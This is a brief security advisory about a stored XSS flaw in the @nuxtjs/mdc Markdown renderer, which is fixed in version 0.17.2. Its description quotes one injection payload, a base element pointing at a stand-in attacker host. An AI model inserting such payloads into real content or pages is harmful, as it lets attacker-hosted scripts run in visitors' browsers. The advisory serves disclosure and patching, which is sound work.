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Security checkJuly 20, 2025

Nuxt MDC has an XSS vulnerability in markdown rendering that bypasses HTML filtering

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Description

A remote script-inclusion / stored XSS vulnerability in @nuxtjs/mdc lets a Markdown author inject a <base href="https://attacker.tld"> element.

Recommendation

Update the @nuxtjs/mdc package to the latest compatible version. Followings are version details:

  • Affected version(s): < 0.17.2
  • Patched version(s): 0.17.2

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